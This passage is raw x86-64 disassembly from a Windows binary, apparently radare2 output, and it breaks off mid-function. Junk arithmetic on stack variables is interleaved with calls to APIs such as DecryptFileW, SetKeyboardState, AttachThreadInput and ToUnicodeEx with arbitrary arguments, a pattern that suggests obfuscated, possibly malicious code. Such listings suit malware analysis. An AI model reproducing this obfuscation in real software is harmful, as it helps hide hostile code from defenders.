mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14012003b], al
call fcn.140103580
jmp 0x140101863
mov eax, dword [rsp + 0x3c94]
mov ecx, dword [rsp + 0x3d18]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a88]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x7d18]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x140101863
mov rax, qword [rsp + 0x7a18]
mov rcx, qword [rsp + 0x6040]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e08], rax
mov rax, qword [rsp + 0x6870]
cqo
idiv qword [rsp + 0x7a50]
mov rcx, qword [rsp + 0x7e08]
cmp rcx, rax
jl 0x140015754
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x6ec0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov edx, 0x1a
mov rcx, qword [rsp + 0x7b60]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x3d68], eax
mov rax, qword [rsp + 0x7998]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x242]
call fcn.1401034a0
mov rax, qword [rsp + 0x7dd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6870]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6618], rax
mov rax, qword [rsp + 0x7bb8]
movzx eax, byte [rax]
movzx ecx, byte [0x140120039]
sub eax, ecx
mov byte [rsp + 0x222], al
mov eax, dword [rsp + 0x3be8]
mov ecx, dword [rsp + 0x3d4c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3680], eax
mov rax, qword [rsp + 0x7d30]
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
call fcn.140103400
jmp 0x1400157fe
mov rax, qword [rsp + 0x7b98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2ae], al
lea rax, [rsp + 0x3c90]
mov qword [rsp + 0x7e10], rax
mov rax, qword [rsp + 0x7d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1380]
add eax, ecx
mov rcx, qword [rsp + 0x7c50]
mov word [rcx], ax
movzx eax, byte [rsp + 0x116]
mov byte [0x140127252], al
movzx eax, word [rsp + 0x135c]
movzx ecx, word [rsp + 0x1398]
add eax, ecx
mov word [rsp + 0x1378], ax
mov rax, qword [rsp + 0x7980]
movzx eax, word [rax]
mov word [rsp + 0x13a4], ax
movsx eax, word [rsp + 0x1388]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
lea rax, [rsp + 0x7968]
mov qword [rsp + 0x7e18], rax
mov rax, qword [rsp + 0x7d68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x79b0]
mov qword [rsp + 0x7e20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7e20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x361c], eax
mov eax, dword [rsp + 0x3cf0]
mov rcx, qword [rsp + 0x79a0]
mov qword [rsp + 0x7e28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7e28]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3d18], eax
lea rax, [rsp + 0x135c]
mov qword [rsp + 0x7e30], rax
movsx eax, word [rsp + 0x9d4]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x7aa0]
movsx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
je 0x140015944
mov eax, dword [rsp + 0x3d60]
mov rcx, qword [rsp + 0x7ab8]
mov qword [rsp + 0x13670], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13670]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x37ac], eax
movsx eax, byte [rsp + 0x2aa]
movsx ecx, byte [rsp + 0x8b]
add eax, ecx
mov byte [rsp + 0x2a3], al
movsx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0x7e00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1294], ax
movzx ecx, byte [rsp + 0x1ba]
call fcn.140103550
movzx eax, word [rsp + 0x138c]
mov rcx, qword [rsp + 0x7c58]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401203c8], ax
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0x2a0]
add eax, ecx
mov rcx, qword [rsp + 0x7a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ba0]
mov rcx, qword [rsp + 0x6ec0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7840]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d50], rax
lea r8, [rsp + 0x14930]
mov edx, 0x6a
mov rcx, qword [rsp + 0x7a30]
call qword [sym.imp.USER32.dll_GetScrollBarInfo]
mov dword [rsp + 0x3dbc], eax
mov rax, qword [rsp + 0x7d18]
mov rcx, qword [rsp + 0x79a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d18], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x6ae8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
movsx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0x7de0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
mov ecx, 0xac
call qword [sym.imp.USER32.dll_SetProcessDefaultLayout]
mov dword [rsp + 0x3c28], eax
movzx eax, byte [0x14012003a]
movzx ecx, byte [rsp + 0x242]
and eax, ecx
mov byte [rsp + 0x2a2], al
movzx eax, word [rsp + 0x1398]
movzx ecx, word [rsp + 0x1378]
add eax, ecx
mov word [rsp + 0xb08], ax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ae8], rax
mov rax, qword [rsp + 0x7ab8]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7d58]
mov dword [rcx], eax
call fcn.140103580
mov rax, qword [rsp + 0x7d18]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c94], eax
mov rax, qword [rsp + 0x7c88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6fc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ba0], rax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7d60]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7a80]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x29e]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x29f], al
movzx eax, word [0x1401203c8]
movzx ecx, word [rsp + 0x136c]
add eax, ecx
mov word [rsp + 0x1370], ax
mov edx, 0xa9
mov rcx, qword [rsp + 0x13678]
call qword [sym.imp.USER32.dll_WaitForInputIdle]
mov dword [rsp + 0x3a88], eax
mov rax, qword [rsp + 0x7c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a5]
sub eax, ecx
mov byte [0x140120038], al
movsx eax, word [rsp + 0x1294]
mov rcx, qword [0x140127268]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x68c8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7d50], rax
jmp 0x140101c24
mov rax, qword [rsp + 0x7c88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b58]
mov rdx, qword [rsp + 0x7ba0]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jne 0x140101c24
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [0x140120390]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c40], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3d28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cd8], eax
mov rax, qword [rsp + 0x7a88]
mov ecx, dword [rsp + 0x3c3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7a88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1200], ax
movzx eax, word [rsp + 0x135c]
mov rcx, qword [rsp + 0x7c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401203cc], ax
mov rax, qword [rsp + 0x7978]
mov ecx, dword [rsp + 0x3c3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x36f8], eax
mov rax, qword [rsp + 0x7d30]
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7a80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c58]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1348], ax
movsx eax, word [rsp + 0x1390]
mov rcx, qword [rsp + 0x7aa0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401203b4], ax
movzx eax, byte [rsp + 0x2a9]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2a6], al
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7d50]
sar rax, cl
mov qword [rsp + 0x6fc8], rax
mov rax, qword [rsp + 0x7998]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x7bb8]
movzx ecx, byte [rax]
call fcn.1401034a0
mov rax, qword [rsp + 0x7a00]
mov rcx, qword [rsp + 0x7360]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b58]
mov qword [rcx], rax
mov edx, 0xdd
mov rcx, qword [rsp + 0x7a30]
call qword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov dword [rsp + 0x3a88], eax
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0xd0]
add eax, ecx
mov byte [rsp + 0x2a0], al
mov r8d, 1
mov edx, 0xe9
mov ecx, 0x7d
call qword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [rsp + 0x3d78], eax
movzx eax, word [rsp + 0x1394]
movzx ecx, word [rsp + 0xb08]
and eax, ecx
mov word [rsp + 0x138c], ax
movsx eax, byte [rsp + 0x2a1]
movsx ecx, byte [rsp + 0x14e]
sub eax, ecx
mov rcx, qword [rsp + 0x7be0]
mov byte [rcx], al
mov rax, qword [0x140127278]
mov ecx, dword [rsp + 0x3d28]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ca0], eax
mov rax, qword [rsp + 0x7d30]
mov rcx, qword [rsp + 0x7d10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x7d18]
mov eax, dword [rax]
mov dword [rsp + 0x3cf0], eax
call fcn.1401034f0
call fcn.1401034f0
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
sar eax, cl
mov word [rsp + 0x1390], ax
mov rax, qword [0x140127278]
mov rcx, qword [rsp + 0x7ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3b20], eax
mov rax, qword [rsp + 0x7d18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c3c]
shl eax, cl
mov rcx, qword [rsp + 0x79a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7bb8]
movzx ecx, byte [rax]
call fcn.140103550
mov rax, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x7a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7d10], rax
jmp 0x140101fcf
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c48]
mov rdx, qword [rsp + 0x7ab8]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jg 0x140101fcf
movzx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2a5], al
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1390]
or eax, ecx
mov word [0x140127288], ax
mov rax, qword [rsp + 0x7c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1378], ax
mov rax, qword [rsp + 0x7c88]
mov rcx, qword [rsp + 0x7360]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7c88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a50]
mov rcx, qword [rsp + 0x68c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [0x140127268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1314]
sub eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d18], eax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b20], eax
mov rax, qword [rsp + 0x7968]
mov rcx, qword [rsp + 0x75f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b90], rax
lea rcx, [rsp + 0x79f8]
call qword [sym.imp.USER32.dll_SetKeyboardState]
mov dword [rsp + 0x3dbc], eax
mov dword [rsp + 0x40], 4
lea rax, [rsp + 0x7c20]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x25
lea rax, [rsp + 0x3c34]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x7b10]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x7fa0]
lea r8, [rsp + 0x10b0]
mov rdx, qword [rsp + 0x7b70]
mov rcx, qword [rsp + 0x7a30]
call qword [sym.imp.USER32.dll_UpdateLayeredWindow]
mov dword [rsp + 0x3d70], eax
movzx eax, word [rsp + 0x1374]
mov rcx, qword [rsp + 0x7c58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1378], ax
mov rax, qword [rsp + 0x7bb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x222]
and eax, ecx
mov rcx, qword [rsp + 0x7c00]
mov byte [rcx], al
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [rsp + 0x2a3]
add eax, ecx
mov byte [rsp + 0x2a4], al
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x79f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x68e8], rax
mov eax, dword [rsp + 0x3cb4]
mov ecx, dword [rsp + 0x3be8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b20], eax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7998]
mov qword [rsp + 0x13680], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13680]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x75f0], rax
movzx edx, byte [rsp + 0x2a9]
mov rax, qword [rsp + 0x7ab0]
movzx ecx, byte [rax]
call fcn.140103460
mov rax, qword [rsp + 0x7978]
mov rcx, qword [rsp + 0x7bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7a88]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13688]
call qword [sym.imp.USER32.dll_DeregisterShellHookWindow]
mov dword [rsp + 0x3c28], eax
call fcn.1401034f0
mov rax, qword [rsp + 0x13690]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0x5b
lea r9, [rsp + 0x2a3]
lea r8, [rsp + 0x14e]
mov edx, 1
mov ecx, 0x89
call qword [sym.imp.USER32.dll_ToUnicodeEx]
mov dword [rsp + 0x3c14], eax
movzx eax, word [0x1401203c4]
movzx ecx, word [rsp + 0x135c]
add eax, ecx
mov word [rsp + 0x138c], ax
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x1368]
sub eax, ecx
mov rcx, qword [rsp + 0x7c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [0x140127268]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1200], ax
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [rsp + 0x2a5]
sub eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [0x140120390]
movzx ecx, al
mov rax, qword [rsp + 0x6ae8]
shl rax, cl
mov qword [rsp + 0x7c40], rax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c90]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c3c], eax
mov rax, qword [rsp + 0x7ab8]
mov ecx, dword [rsp + 0x3ca0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7c48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2a9]
mov rcx, qword [rsp + 0x7c00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7bf0]
mov qword [rcx], rax
mov ecx, 0xa5
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov qword [rsp + 0x7fa0], rax
mov rax, qword [rsp + 0x68c8]
mov rcx, qword [rsp + 0x7a00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68e8], rax
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [rsp + 0x3c34]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x7a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ab8]
mov rcx, qword [rsp + 0x7c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3be8], eax
jmp 0x140102399
mov rax, qword [rsp + 0x79b0]
mov rcx, qword [rsp + 0x7ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cb4], eax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a9], al
movzx eax, word [rsp + 0x1364]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401203c8], ax
mov rax, qword [rsp + 0x6fc8]
mov rcx, qword [rsp + 0x7a18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6040], rax
call fcn.140103400
movsx eax, byte [rsp + 0x2a3]
movsx ecx, byte [rsp + 0x29f]
and eax, ecx
mov byte [rsp + 0x2aa], al
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c88]
mov rcx, qword [rsp + 0x7bf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1294]
sar eax, cl
mov word [rsp + 0x9d4], ax
mov r8, qword [rsp + 0x7b60]
mov edx, 0xec
mov rcx, qword [rsp + 0x7d40]
call qword [sym.imp.GDI32.dll_GetEnhMetaFileDescriptionW]
mov dword [rsp + 0x3d18], eax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7998]
mov qword [rsp + 0x13698], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13698]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x7978]
mov rcx, qword [rsp + 0x79a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7a88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7bb8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x79d0]
movzx ecx, byte [rax]
call fcn.140103460
jmp 0x140102577
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
and eax, ecx
mov word [rsp + 0x1364], ax
mov rcx, qword [rsp + 0x7b08]
call qword [sym.imp.GDI32.dll_FlattenPath]
mov dword [rsp + 0x3cd0], eax
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x79f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7c88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x7998]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7968], rax
mov eax, dword [rsp + 0x361c]
mov ecx, dword [rsp + 0x3680]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x7978]
mov rcx, qword [rsp + 0x7bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c34], eax
lea rax, [rsp + 0x14840]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x29f]
mov r8d, 0x78
mov edx, 0xf1
mov rcx, qword [rsp + 0x7d48]
call qword [sym.imp.GDI32.dll_GetCharABCWidthsI]
mov dword [rsp + 0x3d3c], eax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1314]
add eax, ecx
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
movzx edx, byte [0x140120039]
movzx ecx, byte [rsp + 0x1ba]
call fcn.140103460
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ca0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cb4], eax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x75f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c34], eax
mov rax, qword [rsp + 0x7c00]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x222]
call fcn.140103460
movzx eax, word [rsp + 0x136c]
movzx ecx, word [0x1401203c8]
xor eax, ecx
mov word [rsp + 0x1364], ax
movsx eax, word [rsp + 0x1294]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x140127268]
mov word [rcx], ax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
shl eax, cl
mov word [rsp + 0x1388], ax
call fcn.140103400
movzx eax, word [rsp + 0x10b0]
mov rcx, qword [rsp + 0x7c58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1380], ax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a8]
add eax, ecx
mov byte [0x140127261], al
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7aa0]
mov word [rcx], ax
lea rdx, [rsp + 0x7bc8]
mov rcx, qword [rsp + 0x136a0]
call qword [sym.imp.GDI32.dll_RectInRegion]
mov dword [rsp + 0x3c1c], eax
call fcn.140103580
mov r9d, 0x35
lea r8, [fcn.1401034f0]
mov edx, 0xac
mov rcx, qword [rsp + 0x7f10]
call qword [sym.imp.GDI32.dll_EnumObjects]
mov dword [rsp + 0x3b20], eax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1374]
sub eax, ecx
mov word [rsp + 0x135c], ax
movsx eax, word [rsp + 0x1388]
movsx ecx, word [rsp + 0x1294]
add eax, ecx
mov word [rsp + 0x1200], ax
movzx eax, byte [rsp + 0x2a5]
movzx ecx, byte [rsp + 0x222]
add eax, ecx
mov byte [rsp + 0x116], al
mov eax, dword [rsp + 0x3cb4]
movzx ecx, al
mov eax, dword [rsp + 0x3680]
sar eax, cl
mov rcx, qword [rsp + 0x7c48]
mov dword [rcx], eax
mov rdx, qword [0x140120390]
movzx ecx, byte [rsp + 0x2a6]
call fcn.1401034a0
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [0x14012728a]
add eax, ecx
mov rcx, qword [rsp + 0x7b98]
mov byte [rcx], al
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [0x1401203b0]
sub eax, ecx
mov word [rsp + 0x1370], ax
mov eax, dword [rsp + 0x3680]
mov ecx, dword [rsp + 0x3be8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca0], eax
call fcn.140103580
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ae8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x79c0], rax
mov eax, dword [rsp + 0x3c34]
movzx ecx, al
mov eax, dword [rsp + 0x3cc8]
shl eax, cl
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1388]
sar eax, cl
mov rcx, qword [rsp + 0x7aa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x79c0], rax
jmp 0x140102947
mov rax, qword [rsp + 0x79d0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x2a7]
call fcn.140103460
mov rax, qword [rsp + 0x7ab8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3680]
sar eax, cl
mov dword [rsp + 0x3cd8], eax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
or eax, ecx
mov byte [rsp + 0x1ba], al
movzx eax, word [rsp + 0x1378]
movzx ecx, word [0x1401203b0]
and eax, ecx
mov word [rsp + 0x1374], ax
movsx eax, word [rsp + 0x1294]
movsx ecx, word [rsp + 0x134c]
add eax, ecx
mov rcx, qword [0x140127268]
mov word [rcx], ax
mov rax, qword [rsp + 0x7968]
mov rcx, qword [rsp + 0x7ac0]
mov qword [rsp + 0x136a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x136a8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7a80]
mov qword [rcx], rax
lea r9, [rsp + 0x7a30]
mov r8d, 0xc9
mov edx, 0x18
mov rcx, qword [rsp + 0x7b70]
call qword [sym.imp.GDI32.dll_GetDIBColorTable]
mov dword [rsp + 0x3cf0], eax
mov eax, dword [rsp + 0x3c00]
mov ecx, dword [rsp + 0x3c90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc8], eax
mov dword [rsp + 0x48], 0x3f
mov dword [rsp + 0x40], 0xd3
mov rax, qword [rsp + 0x136b0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xc6
mov dword [rsp + 0x28], 0xc1
mov dword [rsp + 0x20], 0x12
mov r9d, 0xaf
mov r8, qword [rsp + 0x7b10]
lea rdx, [rsp + 0x7b00]
mov rcx, qword [rsp + 0x7b08]
call qword [sym.imp.GDI32.dll_PlgBlt]
mov dword [rsp + 0x3d10], eax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7998]
